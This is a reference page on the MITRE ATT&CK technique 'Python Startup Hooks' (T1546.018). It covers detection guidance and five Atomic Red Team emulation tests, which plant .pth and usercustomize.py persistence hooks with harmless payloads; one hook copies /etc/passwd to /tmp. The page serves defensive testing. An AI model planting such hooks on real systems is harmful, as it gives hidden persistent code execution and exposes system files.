tfMITRE ATT&CK sub-technique

Python Startup Hooks T1546.018

sub-technique of T1546 Event Triggered Execution

Tactics: Persistence, Privilege Escalation
Platforms: Linux, macOS, Windows
Version: 1.0
Created: 22 May 2025
Last modified: 21 October 2025
Contributors: Ruben Groenewoud (@RFGroenewoud); Pyae Heinn Kyaw, CSIRT @ Salesforce

Adversaries may achieve persistence by leveraging Python’s startup mechanisms, including path configuration (.pth) files and the sitecustomize.py or usercustomize.py modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsNone recorded

Threat groupsNone recorded · 29% of ATT&CK techniques have none either.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware51st pct

Tools & malware51st percentile · 51% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesNone recorded

Detection rulesNone recorded · 33% of ATT&CK techniques have none either.

Python Startup Hooks MITRE reference T1546.018

51st pctamong all ATT&CK techniques for number of tools

2 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

Mini Shai-HuludS9043 ↗

Has utilized Python startup hooks to include the .pth import mechanism for execution.1

created 2026-07-29MALWAREcarried by 1 group

TeamPCP Cloud StealerS9041 ↗

Has used .pth files to establish persistence on compromised hosts due to the Python interpreter's automatic processing of .pth files at startup.1

created 2026-07-01MALWAREcarried by 1 group

All 2 software entries for this technique

Offense vs defense T1546.018

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

Python Startup Hooks detection strategy DET0258

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Linux Python Startup Hook Persistence via .pth and Customize Files (T1546.018)

Enterprise

1 platform

AN0713 · Linux

Defender observes unauthorized modification or creation of Python hook files such as .pth, sitecustomize.py, or usercustomize.py in Python site-packages, dist-packages, or user paths. This is often correlated with subsequent unexpected interpreter execution (e.g., python3 running without user interaction), changes in interpreter behavior (e.g., malicious imports), and outbound connections initiated from Python. Defender links write/modify actions on hook files with execve of python process and/or anomalous child process or network activity.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve: execve where exe=/usr/bin/python3 or similar interpreter
File MetadataDC0059	auditd:CONFIG_CHANGE	chmod or chown of hook files indicating privilege escalation or execution permission change
File ModificationDC0061	auditd:PATH	write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages
Network Traffic ContentDC0085	NSM:Flow	http::request: Outbound HTTP initiated by Python interpreter

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
HookFilePathPatterns	Absolute or regex paths to Python startup files (.pth, customize.py); vary by distro or virtual environment location
UserContext	Restrict alerts to non-root users, service accounts, or interactive shell sessions
TimeWindow	Correlate file modification and Python execution within short time span (default: 2–5 minutes)
InterpreterWhitelist	Filter out known legitimate Python executions tied to expected cron jobs or automation

Tests5Executorssh 3 · PowerShell 2Need elevation0 of 5Have prerequisites5Have cleanup5Platformswindows, linux, macos

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Python Startup Hook - atomic_hook.pth (Windows)

windows

PowerShell

—

Yes

Executes code by placing a .pth file in the site-packages directory. Supports python.exe and python3.exe via input arguments.

Input arguments

Name	Type	Default	Description
python_exe	String	python.exe	The python binary name to test.

Attack command

$TempDir = Join-Path $env:TEMP "atomic_pth_win"
New-Item -ItemType Directory -Path $TempDir -Force
& "#{python_exe}" -m venv "$TempDir\env"
$SitePackages = & "$TempDir\env\Scripts\python.exe" -c "import site; print(site.getsitepackages()[1])"
"import os, subprocess; os.environ.get('CALC_SPAWNED') or (os.environ.update({'CALC_SPAWNED':'1'}) or subprocess.Popen(['calc.exe']))" | Out-File -Encoding ASCII "$SitePackages\atomic_hook.pth"
Get-ChildItem -Path "$SitePackages" | Where-Object { $_.Name -like "*.pth" }
& "$TempDir\env\Scripts\python.exe" -c "print('Triggering Hook via atomic_hook...')"

Cleanup command

if (-not (Get-ChildItem -Path $env:TEMP -ErrorAction SilentlyContinue | Where-Object Name -like 'atomic_pth_win')) { Write-Host "[!] Artifact missing: $env:Temp\atomic_pth_win Folder - [-] Please Run : Invoke-AtomicTest T1546.018"; exit 1 };
Remove-Item -Path "$env:TEMP\atomic_pth_win" -Recurse -Force
Write-Host "[+] Successfully Removed atomic_pth_win folder and atomic_hook.pth from Temp Directory"
Get-Process -Name "Calc*" -ErrorAction SilentlyContinue | Stop-Process -Force
Get-Process -Name "calc*" -ErrorAction SilentlyContinue | Stop-Process -Force
Write-Host "[+] Successfully Terminated Calculator"

Prerequisite

Python must be installed and the specified binary (#{python_exe}) must be in the PATH.

Check

if (Get-Command @("#{python_exe}", 'python3.exe') -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }

Satisfy

Write-Host "[!] Python3 not found. Please install Python3 (e.g., winget install python3 or winget install python or https://www.python.org/downloads/windows/) or ensure it is in your PATH."

GUID0407ff29-df99-4e73-a2b5-26c3b3a7bde0

Python Startup Hook - usercustomize.py (Windows)

windows

PowerShell

—

Yes

Executes code via usercustomize.py. This is a per-user persistence mechanism that does not require Administrative privileges.

Input arguments

Name	Type	Default	Description
python_exe	String	python.exe	The python binary name to test

Attack command

$UserDir = & "#{python_exe}" -c "import site; print(site.getusersitepackages())"
if (!(Test-Path $UserDir)) { New-Item -ItemType Directory -Path $UserDir -Force }
"import os; os.system('calc.exe')" | Out-File -FilePath "$UserDir\usercustomize.py" -Encoding ASCII
Get-ChildItem -Path "$UserDir"
& "#{python_exe}" -c "print('Triggering Hook via usercustomize...')"

Cleanup command

$PyBin = if (Get-Command "#{python_exe}" -ErrorAction SilentlyContinue) { "#{python_exe}" } elseif (Get-Command "python3.exe" -ErrorAction SilentlyContinue) { "python3.exe" } else { "python.exe" }; 
$UserDir = & $PyBin -S -c "import site; print(site.getusersitepackages())"
if (-not (Get-ChildItem -Path $UserDir -Recurse -ErrorAction SilentlyContinue | Where-Object Name -like 'usercustomize*')) { Write-Host "[!] Artifact missing: $UserDir\usercustomize.py - [-] Please Run : Invoke-AtomicTest T1546.018"; exit 1 };
Get-ChildItem -Path "$UserDir" -Recurse -Force |
Where-Object { $_.Name -like "usercustomize*" } |
Remove-Item -Force 
Write-Host "[+] Successfully Removed usercustomize.py under $UserDir"
Get-Process -Name "Calc*", "calc*" -ErrorAction SilentlyContinue | Stop-Process -Force
Write-Host "[+] Successfully Terminated Calculator"

Prerequisite

Python must be installed and the specified binary (#{python_exe}) must be in the PATH.

Check

if (Get-Command @("#{python_exe}", 'python3.exe') -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }

Satisfy

Write-Host "[!] Python3 not found. Please install Python3 (e.g., winget install python3 or winget install python or https://www.python.org/downloads/windows/) or ensure it is in your PATH."

GUID30e984a0-329f-453b-9ff0-5a1a5405f5a1

Python Startup Hook - atomic_hook.pth (Linux)

linux

—

Yes

Executes code by creating atomic_hook.pth in the site-packages directory. This script runs automatically for every user on the system when Python starts.

Input arguments

Name	Type	Default	Description
python_exe	String	python3	The python binary name to test

Attack command

TEMPDIR="/tmp/atomic_sitecust_posix"
mkdir -p "$TEMPDIR"
"#{python_exe}" -m venv "$TEMPDIR/env"
SITE_PACKAGES=$("$TEMPDIR/env/bin/#{python_exe}" -c "import site; print(site.getsitepackages()[0])")
echo "import os; os.system('cat /etc/passwd 1> /tmp/atomic_hook_poc.txt')" > "$SITE_PACKAGES/atomic_hook.pth"
ls -la "$SITE_PACKAGES/atomic_hook.pth"
"$TEMPDIR/env/bin/python" -c "print('Triggering Hook via atomic_hook...')"
if [ -f /tmp/atomic_hook_poc.txt ]; then echo "[+] Success: atomic_hook_poc.txt created under /tmp \n" $(ls -la /tmp/ | grep -w atomic_hook_poc.txt); else echo "Failed: /tmp/atomic_hook_poc.txt not found"; fi

Cleanup command

if [ ! -f /tmp/atomic_hook_poc.txt ] || [ ! -d /tmp/atomic_sitecust_posix ]; then echo "[!] Missing artifact or folder: /tmp/atomic_hook_poc.txt or /tmp/atomic_sitecust_posix — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi
rm -rf /tmp/atomic_sitecust_posix
echo "[+] Successful Removed atomic_hook.pth"
rm -rf /tmp/atomic_hook_poc.txt
echo "[+] Successful Removed atomic_hook_poc.txt under /tmp"

Prerequisite

Python must be installed and the specified binary (#{python_exe}) must be in the PATH.

Check

PYTHON_CMD=$(command -v #{python_exe} || command -v python)
if [ -z "$PYTHON_CMD" ]; then exit 1; fi
$PYTHON_CMD -m venv --help >/dev/null 2>&1

Satisfy

echo "Python not found. Please install Python using your package manager (e.g., Debian Based 'sudo apt-get update && sudo apt-get install -y python3 python3-venv', RedHat / CentOS Based 'sudo yum install -y python3 python3-venv || sudo dnf install -y python3 python3-venv')."

GUIDf38a2c84-ff5f-4b26-a2ea-20ea9d92931a

Python Startup Hook - atomic_hook.pth (macOS)

macos

—

Yes

Creates a Python startup hook using a .pth file inside a virtual environment on macOS.

Input arguments

Name	Type	Default	Description
exe_name	string	Calculator	App to launch
python_exe	string	python3	The python binary name to test

Attack command

PYTHON_EXE=$(command -v #{python_exe} || command -v python)
TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XX)
echo "$TEMPDIR" > /tmp/atomic_python_hook_path.txt
$PYTHON_EXE -m venv "$TEMPDIR/env"
SITE_PACKAGES=$("$TEMPDIR/env/bin/#{python_exe}" -c "import site; print(site.getsitepackages()[0])")
echo "import subprocess; subprocess.Popen(['open', '-a', '#{exe_name}'])" > "$SITE_PACKAGES/atomic_hook.pth"
"$TEMPDIR/env/bin/python" -c "print('Triggering Hook via atomic_hook...')"

Cleanup command

if [ ! -f /tmp/atomic_python_hook_path.txt ] || [ ! -d $(cat /tmp/atomic_python_hook_path.txt) ]; then echo "[!] Artifact missing: /tmp/atomic_python_hook_path.txt — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi
pkill "#{exe_name}" || true
[ -f /tmp/atomic_python_hook_path.txt ] && rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt
echo "[+] Successful Removed atomic_hook.pth and terminated #{exe_name}"

Prerequisite

Python must be installed and the specified binary (#{python_exe}) must be in the PATH.

Check

PYTHON_CMD=$(command -v python || command -v #{python_exe})
if [ -z "$PYTHON_CMD" ]; then exit 1; fi
$PYTHON_CMD -m venv --help >/dev/null 2>&1

Satisfy

echo "Python3 not found. Please install it using Homebrew ('brew install python' or 'brew install python3 or brew install python@3.X') or the macOS developer tools ('xcode-select --install')."

GUIDec9eb9e2-1336-4001-8977-a361dadd3394

Python Startup Hook - usercustomize.py (Linux / MacOS)

linux, macos

—

Yes

Executes code via usercustomize.py. This is a per-user persistence mechanism that does not require root privileges.

Input arguments

Name	Type	Default	Description
python_exe	String	python3	The python binary name to test

Attack command

PYTHON_EXE=$(command -v #{python_exe} || command -v python)
USER_PACKAGES=$($PYTHON_EXE -c "import site; print(site.getusersitepackages())")
mkdir -p "$USER_PACKAGES"
echo "import os; os.system('date > /tmp/poc.txt')" > "$USER_PACKAGES/usercustomize.py"
if [ -f "$USER_PACKAGES/usercustomize.py" ]; then echo "Success: usercustomize.py created under $USER_PACKAGES\n" $(ls -la "$USER_PACKAGES" | grep usercustomize*); else echo "Failed: usercustomize.py not found under $USER_PACKAGES"; fi
$PYTHON_EXE -c "print('Triggering Hook via usercustomize.py...')"
if [ -f /tmp/poc.txt ]; then echo "Success: poc.txt created under /tmp\n" $(ls -la /tmp/ | grep -w poc.txt); else echo "Failed: /tmp/poc.txt not found"; fi

Cleanup command

PYTHON_CMD=$(command -v #{python_exe} || command -v python)
USER_PACKAGES=$($PYTHON_CMD -S -c "import site; print(site.getusersitepackages())")
if [ ! -f /tmp/poc.txt ] || [ ! -f $USER_PACKAGES/usercustomize.py ]; then echo "[!] Artifact missing: /tmp/poc.txt and $USER_PACKAGES/usercustomize.py — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi
if [ -e "$USER_PACKAGES"/usercustomize* ]; then echo "[+] Successful remove $USER_PACKAGES/usercustomize.py\n" $(rm -rf "$USER_PACKAGES"/usercustomize*); else echo "usercustomize.py not found under $USER_PACKAGES"; fi
rm -rf /tmp/poc.txt
echo "[+] Successful remove poc.txt under /tmp"

Prerequisite

Python must be installed and the specified binary (#{python_exe}) must be in the PATH.

Check

PYTHON_CMD=$(command -v #{python_exe} || command -v python)
if [ -z "$PYTHON_CMD" ]; then exit 1; fi
$PYTHON_CMD -m venv --help >/dev/null 2>&1

Satisfy

echo "Python not found. Please install Python using your package manager (e.g., Debian Based 'sudo apt-get update && sudo apt-get install -y python3 python3-venv', RedHat / CentOS Based 'sudo yum install -y python3 python3-venv || sudo dnf install -y python3 python3-venv', MacOS brew install python3 or brew install python@3.x or the macOS developer tools ('xcode-select --install'))."

GUID8527b4eb-5cab-48aa-9db1-e19b9b94c2bb

Tests from Atomic Red Team (MIT licence) · technique definition

Python Startup Hooks detections T1546.018

No detection rules are mapped to this technique yet.

None recorded— 33% of ATT&CK techniques have none either

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs